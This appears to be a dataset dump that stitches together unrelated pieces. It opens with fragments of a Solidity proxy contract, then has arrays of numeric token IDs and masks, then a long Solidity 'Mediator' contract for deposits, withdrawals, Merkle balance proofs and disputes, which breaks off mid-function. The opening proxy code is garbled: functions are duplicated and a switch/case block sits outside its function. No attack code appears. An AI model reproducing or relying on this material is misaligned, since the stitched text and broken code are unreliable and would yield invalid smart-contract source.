bytes32 slot = IMPLEMENTATION_SLOT;
assembly {
sstore(slot, newImplementation)
}
}
function _setImplementation(address newImplementation) private {
bytes32 slot = IMPLEMENTATION_SLOT;
assembly {
sstore(slot, newImplementation)
}
}
function _delegate(address implementation) internal {
assembly {
calldatacopy(0, 0, calldatasize)
let result := delegatecall(gas, implementation, 0, calldatasize, 0, 0)
returndatacopy(0, 0, returndatasize)
switch result
}
}
function _delegate(address implementation) internal {
assembly {
calldatacopy(0, 0, calldatasize)
let result := delegatecall(gas, implementation, 0, calldatasize, 0, 0)
returndatacopy(0, 0, returndatasize)
switch result
}
}
case 0 { revert(0, returndatasize) }
default { return(0, returndatasize) }
function _fallback() internal {
_delegate(_implementation());
}
}
| 5,784,039 |
[
1,
3886,
225,
29704,
23595,
434,
4097,
358,
1308,
20092,
16,
598,
5338,
20635,
434,
327,
924,
471,
324,
22298,
2456,
434,
11720,
18,
2597,
11164,
279,
5922,
445,
716,
22310,
777,
4097,
358,
326,
1758,
2106,
635,
326,
8770,
389,
30810,
1435,
2713,
445,
18,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
16351,
490,
842,
1345,
288,
203,
225,
1758,
3981,
31,
203,
225,
2254,
1071,
2078,
3088,
1283,
31,
203,
225,
2254,
28,
5381,
1071,
15105,
273,
1725,
31,
203,
225,
533,
5381,
1071,
508,
273,
315,
49,
297,
941,
9458,
1359,
14432,
203,
225,
533,
5381,
1071,
3273,
273,
315,
20689,
14432,
203,
203,
225,
1731,
1578,
3238,
5381,
15694,
7618,
2689,
67,
55,
1502,
56,
273,
374,
92,
7301,
3361,
71,
29,
73,
20,
74,
24,
5353,
6669,
29,
71,
8148,
16410,
23,
69,
28,
10241,
5608,
20,
13459,
6418,
29,
5026,
74,
28,
73,
22,
71,
4630,
26,
73,
25,
69,
27,
4366,
8313,
28,
1340,
3028,
28,
329,
23,
74,
28,
71,
23,
31,
203,
203,
203,
225,
445,
1832,
8843,
429,
3903,
288,
203,
565,
389,
16471,
5621,
203,
225,
289,
203,
203,
225,
3885,
12,
2867,
389,
30810,
13,
1071,
288,
203,
565,
3981,
273,
1234,
18,
15330,
31,
203,
565,
1815,
12,
9883,
7618,
2689,
67,
55,
1502,
56,
422,
417,
24410,
581,
5034,
2932,
3341,
18,
94,
881,
84,
292,
267,
538,
18,
5656,
18,
30810,
7923,
1769,
203,
203,
565,
389,
542,
13621,
24899,
30810,
1769,
203,
225,
289,
203,
225,
445,
389,
30810,
1435,
2713,
1476,
1135,
261,
2867,
9380,
13,
288,
203,
565,
1731,
1578,
4694,
273,
15694,
7618,
2689,
67,
55,
1502,
56,
31,
203,
565,
19931,
288,
203,
1377,
9380,
519,
272,
945,
12,
14194,
13,
203,
565,
289,
203,
225,
289,
203,
203,
225,
445,
389,
30810,
1435,
2713,
1476,
1135,
2
] |
pragma solidity ^0.5.0;
pragma experimental ABIEncoderV2; // solium-disable-line no-experimental
// ----------------------------------------------------------------------------
// Copyright (c) 2018,2019 OAX Foundation.
// https://www.oax.org/
// See LICENSE file for license details.
// ----------------------------------------------------------------------------
import "./openzeppelin/SafeMath.sol";
import "./openzeppelin/ECRecovery.sol";
import "./openzeppelin/IERC20.sol";
/**
* @title Mediator
*/
contract Mediator {
using SafeMath for uint256;
//
// Events
//
event TokenRegistered(
address tokenAddress
);
event DepositCompleted(
uint256 round,
address indexed tokenAddress,
address indexed clientAddress,
uint256 amount
);
event WithdrawalInitiated(
uint256 round,
address indexed tokenAddress,
address indexed clientAddress,
uint256 amount
);
event WithdrawalConfirmed(
uint256 round,
address indexed tokenAddress,
address indexed clientAddress,
uint256 amount
);
event WithdrawalCancelled(
uint256 round,
address indexed tokenAddress,
address indexed clientAddress,
uint256 amount
);
event CommitCompleted(
uint256 round,
address indexed tokenAddress
);
event DisputeOpened(
uint256 disputeId,
uint256 round,
address indexed clientAddress
);
event DisputeClosed(
uint256 disputeId,
uint256 round,
address indexed clientAddress
);
event Halted(
uint256 round,
uint256 quarter
);
//
// Structures
//
struct RootInfo {
bytes32 content;
uint256 height;
uint256 width;
}
struct Proof {
uint256 clientOpeningBalance;
address tokenAddress;
address clientAddress;
bytes32[] hashes;
uint256[] sums;
uint256 height;
uint256 width;
uint256 round;
}
struct Approval {
uint256 approvalId;
uint256 round;
uint256 buyAmount;
address buyAsset;
uint256 sellAmount;
address sellAsset;
bool intent; // true: buy, false: sell
address instanceId;
}
struct Fill {
uint256 fillId;
uint256 approvalId;
uint256 round;
uint256 buyAmount;
address buyAsset;
uint256 sellAmount;
address sellAsset;
address clientAddress;
address instanceId;
}
struct WithdrawalRequest {
uint256 amount;
uint256 openingBalance;
}
struct Dispute {
uint256 disputeId;
uint256 quarter;
uint256 round;
uint256[] openingBalances;
uint256 fillCount;
bool open;
}
struct AuthorizationMessage {
uint256 round;
address clientAddress;
bytes sig;
}
//
// Fields - General
//
// Address of the operator.
address public operatorAddress;
// Number of blocks inside a round.
uint256 public roundSize;
// Number of blocks inside a quarter.
uint256 public quarterSize;
// Block number of when the mediator contract was initially deployed.
uint256 public blockNumberAtCreation;
// Map of round => tokenAddress => clientAddress => deposit amount.
mapping(uint256 => mapping(address => mapping(address => uint256))) public clientDeposits;
// Map of round => tokenAddress => deposit amount.
mapping(uint256 => mapping(address => uint256)) public totalDeposits;
// Map of round => tokenAddress => amount.
mapping(uint256 => mapping(address => uint256)) public openingBalances;
// Map of round => tokenAddress => total requested withdrawal amount.
mapping(uint256 => mapping (address => uint256)) public totalRequestedWithdrawals;
// Map of round => tokenAddress => clientAddress => requested withdrawal amount.
mapping(uint256 => mapping(address => mapping (address => WithdrawalRequest))) public clientRequestedWithdrawals;
// Map of tokenAddress => clientAddress => round when withdrawal request was initiated.
mapping(address => mapping(address => uint256)) public activeWithdrawalRounds;
// Keeps count of the number of fully committed rounds. A round is fully
// committed if all assets in the round have been successfully committed.
uint256 public committedRounds;
// Map of round => total number of commits.
mapping(uint256 => uint256) public commitCounters;
// Map of round => tokenAddress => commit root.
mapping(uint256 => mapping(address => bytes32)) public commits;
//
// Fields - Tokens
//
// Number of tokens that have been registered.
uint256 public tokenCount;
// Map of tokens that have been registered.
mapping(address => bool) public registeredTokens;
// Map of tokenAddress => arrayIndex for array computations.
mapping(address => uint256) public registeredTokensIndex;
// Map of arrayIndex => tokenAddress.
mapping(uint256 => address) public registeredTokensAddresses;
//
// Fields - Disputes
//
// Whether the contract is in HALTED mode or not.
bool public halted;
// Round number when the Mediator entered HALTED mode.
uint256 public haltedRound;
// Quarter number when the Mediator entered HALTED mode.
uint256 public haltedQuarter;
// Total number of disputes ever opened.
uint256 public totalDisputes;
// Map of round => number of open disputes.
mapping(uint256 => uint256) public openDisputeCounters;
// Map of clientAddress => dispute info.
mapping(address => Dispute) public disputes;
// Map disputeId => fillId => fill, used for active disputes.
mapping(uint256 => mapping(uint256 => Fill)) public disputeFills;
// Map disputeId => approvalId => bool, used to check approvals for duplicates.
mapping(uint256 => mapping(uint256 => bool)) public disputeApprovals;
// Map of tokenAddress => clientAddress => whether funds have been recovered.
mapping(address => mapping(address => bool)) public recovered;
//
// Modifiers
//
modifier onlyBy(address _account)
{
require(msg.sender == _account);
_;
}
modifier notHalted()
{
updateHaltedState();
require(halted == false);
_;
}
//
// Constructor
//
/**
* Constructor for the Mediator smart contract.
* @param _roundSize Number of blocks corresponding to one round.
* @param _operatorAddress Address of the operator.
*/
constructor(
uint256 _roundSize,
address _operatorAddress
)
public
{
require(_roundSize > 0);
require(_roundSize % 4 == 0);
require(_operatorAddress != address(0));
roundSize = _roundSize;
quarterSize = roundSize / 4;
operatorAddress = _operatorAddress;
blockNumberAtCreation = getCurrentBlockNumber();
halted = false;
}
//
// Public Functions
//
/**
* Direct deposit of ether is not supported.
* In order to deposit it is required to invoke depositTokens.
*/
function()
external
payable
{
revert("Not supported");
}
/**
* Enables the operator to register a token.
* @dev Make sure that the token has been properly audited and
* can be trusted before adding it.
* @param tokenAddress Address of the token to be registered.
*/
function registerToken(address tokenAddress)
public
notHalted()
onlyBy(operatorAddress)
returns (bool)
{
require(tokenAddress != address(0));
require(tokenAddress != address(this));
// It is only possible to register tokens during round 0, quarter 0
require(getCurrentRound() == 0 && getCurrentQuarter() == 0);
if (registeredTokens[tokenAddress]) {
return false;
}
registeredTokens[tokenAddress] = true;
registeredTokensIndex[tokenAddress] = tokenCount;
registeredTokensAddresses[tokenCount] = tokenAddress;
tokenCount = tokenCount.add(1);
emit TokenRegistered(tokenAddress);
return true;
}
/**
* Enables a client to deposit tokens.
* @dev The token must have been registered and must have approval for
* the specified amount before calling depositToken.
* @param tokenAddress Address of the token.
* @param amount Amount of tokens to deposit.
*/
function depositTokens(address tokenAddress, uint256 amount)
public
notHalted()
returns (bool)
{
require(registeredTokens[tokenAddress]);
require(amount > 0);
address clientAddress = msg.sender;
require(transferTokenFromClient(tokenAddress, clientAddress, amount));
uint256 currentRound = getCurrentRound();
clientDeposits[currentRound][tokenAddress][clientAddress] = clientDeposits[currentRound][tokenAddress][clientAddress].add(amount);
totalDeposits[currentRound][tokenAddress] = totalDeposits[currentRound][tokenAddress].add(amount);
emit DepositCompleted(
currentRound,
tokenAddress,
clientAddress,
amount
);
return true;
}
/**
* Enables a client to initiate a withdrawal request.
* @param proof A balance proof for the current last committed round.
* @param amount Amount the client wants to withdraw.
*/
function initiateWithdrawal(
Proof memory proof,
uint256 amount
)
public
notHalted()
returns (bool)
{
require(amount > 0);
// Make sure we are at round > 0 to initiate any withdrawal.
uint256 currentRound = getCurrentRound();
require(currentRound > 0);
// Client can only initiate withdrawal for themselves.
address clientAddress = proof.clientAddress;
require(clientAddress == msg.sender);
// Checks that the proof is valid and that the client has funds.
// This also checks that the token address in the proof is ok.
require(isProofValid(proof, currentRound - 1));
address tokenAddress = proof.tokenAddress;
require(activeWithdrawalRounds[tokenAddress][clientAddress] == 0); // Check that there is no existing pending withdrawal.
require(amount <= proof.clientOpeningBalance); // Withdrawal amount needs to be <= that the current openingBalance.
WithdrawalRequest storage requested = clientRequestedWithdrawals[currentRound][tokenAddress][clientAddress];
requested.amount = amount;
requested.openingBalance = proof.clientOpeningBalance;
totalRequestedWithdrawals[currentRound][tokenAddress] = totalRequestedWithdrawals[currentRound][tokenAddress].add(amount);
activeWithdrawalRounds[tokenAddress][clientAddress] = currentRound;
emit WithdrawalInitiated(
currentRound,
tokenAddress,
clientAddress,
amount
);
return true;
}
/**
* Enables a client to confirm a withdrawal after enough time has passed since
* the withdrawal request.
* @param tokenAddress Address of the token to be withdrawn.
*/
function confirmWithdrawal(address tokenAddress)
public
returns (bool)
{
// We need to check whether we are in HALTED mode or not.
updateHaltedState();
address clientAddress = msg.sender;
uint256 roundOfRequest = activeWithdrawalRounds[tokenAddress][clientAddress];
require(roundOfRequest > 0);
uint256 currentRound = getCurrentRound();
uint256 currentQuarter = getCurrentQuarter();
uint256 lastConfirmedRoundForWithdrawals;
if (currentQuarter == 0 || halted) {
lastConfirmedRoundForWithdrawals = currentRound.sub(3);
} else {
lastConfirmedRoundForWithdrawals = currentRound.sub(2);
}
require(roundOfRequest <= lastConfirmedRoundForWithdrawals); // Too early to claim funds.
activeWithdrawalRounds[tokenAddress][clientAddress] = 0;
uint256 amount = clientRequestedWithdrawals[roundOfRequest][tokenAddress][clientAddress].amount;
// Transfer the tokens back to the client.
require(transferTokenToClient(tokenAddress, clientAddress, amount));
emit WithdrawalConfirmed(
currentRound,
tokenAddress,
clientAddress,
amount
);
return true;
}
/**
* Enables the operator to cancel a withdrawal.
* @param approvals Approvals to sell asset by client.
* @param sigs Signatures for the approvals.
* @param tokenAddress Address of the token corresponding to the withdrawal.
* @param clientAddress Address of the client who made the withdrawal request.
*/
function cancelWithdrawal(
Approval[] memory approvals,
bytes[] memory sigs,
address tokenAddress,
address clientAddress
)
public
onlyBy(operatorAddress)
notHalted()
returns (bool)
{
require(approvals.length == sigs.length);
uint256 roundOfRequest = activeWithdrawalRounds[tokenAddress][clientAddress];
require(roundOfRequest > 0);
uint256 currentRound = getCurrentRound();
require(canCancelWithdrawal(currentRound, roundOfRequest, tokenAddress));
WithdrawalRequest memory withdrawal = clientRequestedWithdrawals[roundOfRequest][tokenAddress][clientAddress];
if (approvals.length > 1) {
for (uint256 i = 0; i < approvals.length - 1; i++) {
require(approvals[i].approvalId < approvals[i + 1].approvalId);
}
}
// Check that approvals are valid
uint256 roundOfProof = roundOfRequest.sub(1);
for (uint256 i = 0; i < approvals.length; i++) {
// Check round
require(approvals[i].round == roundOfProof || approvals[i].round == roundOfRequest);
// Check single approval
checkApprovalSig(approvals[i], sigs[i], clientAddress);
}
uint256 reserved = 0;
for (uint256 i = 0; i < approvals.length; i++) {
Approval memory approval = approvals[i];
if (approval.sellAsset == tokenAddress) {
reserved = reserved.add(approval.sellAmount);
}
}
uint256 requested = withdrawal.amount;
uint256 available = withdrawal.openingBalance.sub(reserved);
require(requested > available); // Not overwithdrawing so abort cancelWithdrawal.
// Cancel the withdrawal
clientRequestedWithdrawals[roundOfRequest][tokenAddress][clientAddress].amount = 0;
totalRequestedWithdrawals[roundOfRequest][tokenAddress] = totalRequestedWithdrawals[roundOfRequest][tokenAddress].sub(requested);
activeWithdrawalRounds[tokenAddress][clientAddress] = 0;
emit WithdrawalCancelled(
currentRound,
tokenAddress,
clientAddress,
requested
);
return true;
}
/**
* Enables the operator to commit a new root for the current round.
* @param rootInfo Contains the root content before padding along with the height and width of the tree.
* @param tokenAddress Address of the token for this commit.
*/
function commit(
RootInfo memory rootInfo,
address tokenAddress
)
public
onlyBy(operatorAddress)
notHalted()
returns (bool)
{
uint256 currentRound = getCurrentRound();
require(currentRound > 0); // Committing a new root is not allowed at round 0.
uint256 currentQuarter = getCurrentQuarter();
require(currentQuarter == 0); // Committing is only allowed during quarter 0.
require(registeredTokens[tokenAddress]); // The token must be registered.
require(commits[currentRound][tokenAddress] == ""); // Make sure nothing has been committed for this round.
uint256 previousRound = currentRound.sub(1);
uint256 previousOpeningBalance = openingBalances[previousRound][tokenAddress];
uint256 previousTotalDeposits = totalDeposits[previousRound][tokenAddress];
uint256 previousTotalWithdrawals = totalRequestedWithdrawals[previousRound][tokenAddress];
uint256 previousClosingBalance = previousOpeningBalance.add(previousTotalDeposits).sub(previousTotalWithdrawals);
bytes32 rootBeforePadding = keccak256(abi.encodePacked(rootInfo.content, previousClosingBalance));
bytes32 root = keccak256(abi.encodePacked(rootBeforePadding, rootInfo.height, rootInfo.width));
openingBalances[currentRound][tokenAddress] = previousClosingBalance;
commits[currentRound][tokenAddress] = root;
commitCounters[currentRound] = commitCounters[currentRound].add(1);
if (commitCounters[currentRound] == tokenCount) {
// Operator has satisfied all commit requirements for this round.
committedRounds = committedRounds.add(1);
}
emit CommitCompleted(
currentRound,
tokenAddress
);
return true;
}
/**
* Enables a client to open a dispute.
* @param proofs Proofs for each asset.
* @param fills Array of fills.
* @param sigs Array containing the signatures of the fills.
* @param authorizationMessage Signed message from the operator.
*/
function openDispute(
Proof[] memory proofs,
Fill[] memory fills,
bytes[] memory sigs,
AuthorizationMessage memory authorizationMessage
)
public
notHalted()
returns (bool)
{
require(fills.length == sigs.length);
address clientAddress = msg.sender;
if (disputes[clientAddress].open) {
return false;
}
uint256 currentRound = getCurrentRound();
uint256 currentQuarter = getCurrentQuarter();
require(currentRound > 0 /* The client must not be allowed to open a dispute during round 0 */);
uint256[] memory openingBalancesClient = new uint256[](tokenCount);
if (proofs.length > 0) {
require(isProofArrayValid(proofs, clientAddress, currentRound - 1));
for (uint256 i = 0; i < proofs.length; i++) {
openingBalancesClient[i] = proofs[i].clientOpeningBalance;
}
} else {
require(verifyAuthorizationMessage(clientAddress, authorizationMessage));
}
uint256 disputeId = totalDisputes.add(1);
if (fills.length > 0) {
for (uint256 i = 0; i < fills.length; i++) {
require(fills[i].round == currentRound - 1);
require(fills[i].clientAddress == clientAddress/*, "The fill must be assigned to the client."*/);
checkFillSig(fills[i], sigs[i]);
// Put the fill in storage as it will be needed by closeDispute.
disputeFills[disputeId][fills[i].fillId] = fills[i];
}
// Check if all fills are ordered and unique.
for (uint256 i = 0; i < fills.length - 1; i++) {
require(fills[i].fillId < fills[i + 1].fillId);
}
}
disputes[clientAddress] = Dispute(
disputeId,
currentQuarter,
currentRound,
openingBalancesClient,
fills.length,
true
);
totalDisputes = disputeId;
openDisputeCounters[currentRound] = openDisputeCounters[currentRound].add(1);
emit DisputeOpened(disputeId, currentRound, clientAddress);
return true;
}
/**
* Checks whether the dispute needs to be handled by the operator.
* @dev This code was extracted from closeDispute to reduce compiler stack size.
* @param dispute Dispute object from storage.
* @param currentRound Current round.
*/
function hasValidOpenDispute(Dispute memory dispute, uint256 currentRound) public view returns (bool) {
require(dispute.open);
// Check it is the right moment to close the dispute
uint256 currentQuarter = getCurrentQuarter();
uint256 elapsedQuarters = (4 * currentRound + currentQuarter) - (4 * dispute.round + dispute.quarter);
require(elapsedQuarters <= 1/*, "Deadline to close dispute expired."*/);
return true;
}
/**
* Enables the operator to close a dispute.
* @param proofs Proofs of balances for each asset for the dispute round.
* @param approvals Array of approvals generated during the round previous to the dispute.
* @param sigApprovals Signatures on the approvals by the client.
* @param fills Fills produced by the operator based on the approvals.
* @param sigFills Signatures for the fills.
* @param clientAddress Address of the client that opened the dispute.
*/
function closeDispute(
Proof[] memory proofs,
Approval[] memory approvals,
bytes[] memory sigApprovals,
Fill[] memory fills,
bytes[] memory sigFills,
address clientAddress
)
public
notHalted()
onlyBy(operatorAddress)
{
uint256 currentRound = getCurrentRound();
Dispute storage dispute = disputes[clientAddress];
require(hasValidOpenDispute(dispute, currentRound));
// Check the proofs
require(isProofArrayValid(proofs, clientAddress, dispute.round));
// Check that all fills are unique.
if (fills.length > 1) {
for (uint256 i = 0; i < fills.length - 1; i++) {
require(fills[i].fillId < fills[i + 1].fillId);
}
}
// Check all the fills of dispute are included.
uint256 fillCount = 0;
for (uint256 i = 0; i < fills.length; i++) {
if (areFillsEqual(fills[i], disputeFills[dispute.disputeId][fills[i].fillId])) {
fillCount += 1;
}
}
require(fillCount == dispute.fillCount);
// Check that all the approvals are valid.
uint256 disputedRound = dispute.round.sub(1);
for (uint256 i = 0; i < approvals.length; i++) {
checkApprovalSig(approvals[i], sigApprovals[i], clientAddress);
require(approvals[i].round == disputedRound);
}
// Check that all the fills are valid
for (uint256 i = 0; i < fills.length; i++) {
checkFillSig(fills[i], sigFills[i]);
require(fills[i].round == disputedRound);
require(fills[i].clientAddress == clientAddress);
}
checkFillWithApproval(approvals, fills);
checkDisputeAccounting(
clientAddress,
proofs,
approvals,
fills,
dispute.disputeId,
dispute.round
);
// Close the dispute
dispute.open = false;
openDisputeCounters[dispute.round] = openDisputeCounters[dispute.round].sub(1);
emit DisputeClosed(
dispute.disputeId,
currentRound,
clientAddress
);
}
/**
* Enables a client to recover all his funds using a proof from round r - 2.
* Only works when the contract is halted.
* @param proof Proof of the client balances for round r - 2.
*/
function recoverAllFunds(Proof memory proof)
public
returns (bool)
{
updateHaltedState();
require(halted);
address clientAddress = msg.sender;
address tokenAddress = proof.tokenAddress;
require(proof.clientAddress == clientAddress);
require(recovered[tokenAddress][clientAddress] == false);
uint256 currentRound = getCurrentRound();
require(isProofValid(proof, currentRound - 2));
uint256 openingBalanceTwoRoundsAgo = proof.clientOpeningBalance;
uint256 fundsToRecover = openingBalanceTwoRoundsAgo;
fundsToRecover = fundsToRecover.add(clientDeposits[currentRound][tokenAddress][clientAddress]);
fundsToRecover = fundsToRecover.add(clientDeposits[currentRound - 1][tokenAddress][clientAddress]);
fundsToRecover = fundsToRecover.add(clientDeposits[currentRound - 2][tokenAddress][clientAddress]);
recovered[tokenAddress][clientAddress] = true;
require(transferTokenToClient(tokenAddress, clientAddress, fundsToRecover));
return true;
}
/**
* Enables a client to recover his funds on chain.
* Only works when the contract is halted.
* @param tokenAddress Address of the token to recover balance from.
*/
function recoverOnChainFundsOnly(address tokenAddress)
public
returns (bool)
{
updateHaltedState();
require(halted);
address clientAddress = msg.sender;
require(recovered[tokenAddress][clientAddress] == false);
uint256 currentRound = getCurrentRound();
uint256 fundsToRecover = clientDeposits[currentRound][tokenAddress][clientAddress];
if (currentRound >= 1) {
fundsToRecover = fundsToRecover.add(clientDeposits[currentRound - 1][tokenAddress][clientAddress]);
}
if (currentRound >= 2) {
fundsToRecover = fundsToRecover.add(clientDeposits[currentRound - 2][tokenAddress][clientAddress]);
}
recovered[tokenAddress][clientAddress] = true;
require(transferTokenToClient(tokenAddress, clientAddress, fundsToRecover));
return true;
}
/**
* Updates the halted state.
*/
function updateHaltedState()
public
returns (bool)
{
if (halted) {
return true;
}
uint256 currentRound = getCurrentRound();
uint256 currentQuarter = getCurrentQuarter();
// If in round 0, it's too early to update the halted state.
if (currentRound == 0) {
return false;
}
uint256 previousRound = currentRound.sub(1);
bool isMissingCommits;
bool hasOpenDisputes;
if (currentQuarter == 0) {
// Check for missing commits corresponding to r - 2 activity.
isMissingCommits = (committedRounds < previousRound);
// Check for open disputes during round r - 2
if (previousRound > 0) {
hasOpenDisputes = (openDisputeCounters[previousRound - 1] > 0);
}
} else {
// Quarter in [ 1, 2, 3 ]. Check for round r - 1.
isMissingCommits = (committedRounds < currentRound);
hasOpenDisputes = (openDisputeCounters[currentRound - 1] > 0);
}
bool hasTokensRegistered = (tokenCount > 0);
if (!hasTokensRegistered || isMissingCommits || hasOpenDisputes) {
halted = true;
haltedRound = currentRound;
haltedQuarter = currentQuarter;
emit Halted(haltedRound, haltedQuarter);
return true;
}
return false;
}
//
// Utility Functions
//
/**
* Returns the current block number.
*/
function getCurrentBlockNumber()
public
view
returns (uint256)
{
return block.number;
}
/**
* Returns the current round based on the block number.
*/
function getCurrentRound()
public
view
returns (uint256)
{
if (halted) {
return haltedRound;
} else {
return ((getCurrentBlockNumber() - blockNumberAtCreation) / roundSize);
}
}
/**
* Returns the current quarter based on the block number.
*/
function getCurrentQuarter()
public
view
returns (uint256)
{
if (halted) {
return haltedQuarter;
} else {
uint256 indexInRound = (getCurrentBlockNumber() - blockNumberAtCreation) % roundSize;
return indexInRound / quarterSize;
}
}
/**
* Validates a merkle proof for a user, corresponding to the root of the given round.
* @param proof Proof to check against the root of the tree.
* @param round Round corresponding to the commit against which we want to verify the proof.
*/
function isProofValid(
Proof memory proof,
uint256 round
)
public
view
returns (bool)
{
bytes32 root = commits[round][proof.tokenAddress];
// The root must have been initialized.
if (root == 0) {
return false;
}
// The round must be correct
if (proof.round != round) {
return false;
}
// We need to check that the clientAddress and clientOpeningBalance correspond to the leaf
// for which we want to validate a merkle path to the root.
bytes32 leaf = keccak256(abi.encodePacked(proof.clientOpeningBalance, proof.clientAddress, proof.round));
// Validate the proof against the current committed root.
return isMerkleProofValid(
proof.hashes,
proof.sums,
root,
leaf,
proof.clientOpeningBalance,
proof.height,
proof.width
);
}
/**
* Verifies a Merkle proof proving the existence of a leaf in a Merkle tree. Assumes that each pair of leaves
* and each pair of pre-images are sorted.
* @dev The merkle proof part of the verification is based on:
* https://github.com/OpenZeppelin/openzeppelin-solidity/blob/master/contracts/cryptography/MerkleProof.sol
* @param hashes Merkle proof containing sibling hashes on the branch from the leaf to the root of the Merkle tree.
* @param root Merkle root.
* @param leaf Leaf of Merkle tree.
* @param sum Balance for the leaf we want to check.
* @param height Height of the tree.
* @param width Width of the tree.
*/
function isMerkleProofValid(
bytes32[] memory hashes,
uint256[] memory sums,
bytes32 root,
bytes32 leaf,
uint256 sum,
uint256 height,
uint256 width
)
public
pure
returns (bool)
{
bytes32 computedHash = leaf;
uint256 computedSum = sum;
for (uint256 i = 0; i < hashes.length; i++) {
bytes32 proofElement = hashes[i];
computedSum = computedSum.add(sums[i]);
if (computedHash < proofElement) {
// Hash(current computed hash + current element of the proof).
computedHash = keccak256(abi.encodePacked(computedSum, computedHash, proofElement));
} else {
// Hash(current element of the proof + current computed hash).
computedHash = keccak256(abi.encodePacked(computedSum, proofElement, computedHash));
}
}
computedHash = keccak256(abi.encodePacked(computedHash, computedSum));
computedHash = keccak256(abi.encodePacked(computedHash, height, width));
// Check if the computed hash (root) is equal to the provided root.
return computedHash == root;
}
/**
* Validates an authorization message.
* @param clientAddress Address of the client.
* @param authorization Signature of message clientAddress and round by the operator.
*/
function verifyAuthorizationMessage(
address clientAddress,
AuthorizationMessage memory authorization
)
public
view
returns (bool)
{
uint256 currentRound = getCurrentRound();
if (authorization.clientAddress != clientAddress) {
return false;
}
if (authorization.round != currentRound - 1) {
return false;
}
bytes32 hash = keccak256(
abi.encodePacked(
authorization.clientAddress,
authorization.round
)
);
bytes32 normalizedHash = ECRecovery.toEthSignedMessageHash(hash);
address signerAddress = ECRecovery.recover(normalizedHash, authorization.sig);
return (signerAddress == operatorAddress);
}
/**
* Validates a signature on an approval and that the instance of the approval is correct.
* @param approval Approval signed by the Client.
* @param sig Signature on the approval.
* @param clientAddress Address of the Client.
*/
function checkApprovalSig(
Approval memory approval,
bytes memory sig,
address clientAddress
)
public
view
returns (bool)
{
// InstanceId should match the mediator contract address.
require(approval.instanceId == address(this));
// Check the signature
bytes32 hash = keccak256(
abi.encodePacked(
approval.approvalId,
approval.round,
approval.buyAmount,
approval.buyAsset,
approval.sellAmount,
approval.sellAsset,
approval.intent,
approval.instanceId
)
);
bytes32 normalizedHash = ECRecovery.toEthSignedMessageHash(hash);
address signerAddress = ECRecovery.recover(normalizedHash, sig);
require(signerAddress == clientAddress);
return true;
}
/**
* Validates a fill (signature and instance identifier).
* @param fill Approval signed by the operator.
* @param sig Signature on the fill.
*/
function checkFillSig(
Fill memory fill,
bytes memory sig
)
public
view
returns (bool)
{
require(fill.instanceId == address(this));
// Signature
bytes32 hash = keccak256(
abi.encodePacked(
fill.fillId,
fill.approvalId,
fill.round,
fill.buyAmount,
fill.buyAsset,
fill.sellAmount,
fill.sellAsset,
fill.clientAddress,
fill.instanceId
)
);
bytes32 normalizedHash = ECRecovery.toEthSignedMessageHash(hash);
address signerAddress = ECRecovery.recover(normalizedHash, sig);
require(signerAddress == operatorAddress);
return true;
}
/**
* Check if it is a good time to cancel a withdrawal.
* @param currentRound Round when the function is called.
* @param roundOfRequest Round when the withdrawal request was initiated.
* @param tokenAddress Address of the token corresponding to the withdrawal request.
*/
function canCancelWithdrawal(uint256 currentRound, uint256 roundOfRequest, address tokenAddress)
public
view
returns (bool)
{
return (currentRound == roundOfRequest) || ((currentRound == roundOfRequest + 1) && commits[currentRound][tokenAddress] == "");
}
/**
* Checks if two fills contain the same values.
* @param fill1 First fill.
* @param fill2 Second fill.
* @return true Iff both fills contain the same values.
*/
function areFillsEqual(Fill memory fill1, Fill memory fill2)
public
pure
returns (bool)
{
return (
fill1.fillId == fill2.fillId &&
fill1.approvalId == fill2.approvalId &&
fill1.round == fill2.round &&
fill1.buyAmount == fill2.buyAmount &&
fill1.buyAsset == fill2.buyAsset &&
fill1.sellAmount == fill2.sellAmount &&
fill1.sellAsset == fill2.sellAsset &&
fill1.clientAddress == fill2.clientAddress
);
}
/**
* @param fills Array of fills.
* @param approvals Array of approvals.
*/
function checkFillWithApproval(
Approval[] memory approvals,
Fill[] memory fills
)
public
pure
returns (bool)
{
require(fills.length == approvals.length);
// Check the relation between each approval and fill.
for (uint256 i = 0; i < approvals.length; i++) {
Approval memory approval = approvals[i];
Fill memory fill = fills[i];
require(fill.approvalId == approval.approvalId);
require(fill.buyAsset == approval.buyAsset);
require(fill.sellAsset == approval.sellAsset);
// Avoid division by zero if buyAmount == 0 which could be a legitimate value,
// for instance if the approval is used to pay a fee.
// No price restriction.
if (approval.buyAmount == 0) {
continue;
}
// If the approval buyAmount is non-zero the fill buyAmount must be non-zero too.
require(fill.buyAmount > 0/*, "Approval does not allow zero buy amount."*/);
// Safe to divide now. Make sure fill price does not exceed approval price.
require((fill.sellAmount * approval.buyAmount) <= (approval.sellAmount * (fill.buyAmount)));
}
return true;
}
/**
* Checks that the token addresses of a proof array are listed in the
* correct order and only once. Also that the client addresses and
* the proofs themselves are valid.
* @param proofs Array of proofs.
*/
function isProofArrayValid(Proof[] memory proofs, address clientAddress, uint256 round)
public
view
returns (bool)
{
if (proofs.length != tokenCount) {
return false;
}
